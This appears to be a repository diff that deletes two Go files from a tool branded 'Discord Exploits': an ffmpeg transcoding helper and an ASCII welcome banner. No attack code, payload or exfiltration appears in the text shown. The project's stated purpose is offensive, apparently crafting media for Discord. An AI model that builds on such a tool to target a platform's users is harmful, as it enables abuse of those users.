@ -1,30 +0,0 @@
|
||||||
package modules
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
"os/exec"
|
|
||||||
"strings"
|
|
||||||
)
|
|
||||||
|
|
||||||
//Transcode transcodes videos and images
|
|
||||||
func Transcode(input string, to string) string {
|
|
||||||
path := CheckForFFmpeg()
|
|
||||||
output := CreateName(to)
|
|
||||||
|
|
||||||
if strings.HasSuffix(input, ".ogg") || strings.HasSuffix(input, ".mp3") || strings.HasSuffix(input, ".m4a") {
|
|
||||||
_, err := exec.Command(path, "-i", input, "-ar", "44100", "-y", "-c:a", "libvorbis", output).CombinedOutput()
|
|
||||||
Check(err)
|
|
||||||
|
|
||||||
fmt.Println("temporarily saving transcoded file to " + output)
|
|
||||||
|
|
||||||
return output
|
|
||||||
}
|
|
||||||
|
|
||||||
_, err := exec.Command(path, "-i", input, output).CombinedOutput()
|
|
||||||
|
|
||||||
Check(err)
|
|
||||||
|
|
||||||
fmt.Println("temporarily saving transcoded file to " + output)
|
|
||||||
|
|
||||||
return output
|
|
||||||
}
|
|
|
@ -1,18 +0,0 @@
|
||||||
package modules
|
|
||||||
|
|
||||||
import (
|
|
||||||
"fmt"
|
|
||||||
)
|
|
||||||
|
|
||||||
//Welcome greets the user on startup
|
|
||||||
func Welcome() {
|
|
||||||
fmt.Println("Discord Exploits --- made by Schmenn")
|
|
||||||
fmt.Println(" _ _ _")
|
|
||||||
fmt.Println(" | | (_) |")
|
|
||||||
fmt.Println(" _____ ___ __ | | ___ _| |_ ___")
|
|
||||||
fmt.Println(" / _ \\ \\/ / '_ \\| |/ _ \\| | __/ __|")
|
|
||||||
fmt.Println(" | __/> <| |_) | | (_) | | |_\\__ \\")
|
|
||||||
fmt.Println(" \\___/_/\\_\\ .__/|_|\\___/|_|\\__|___/")
|
|
||||||
fmt.Println(" | |")
|
|
||||||
fmt.Println(" |_|")
|
|
||||||
}
|
|
Loading…
Reference in a new issue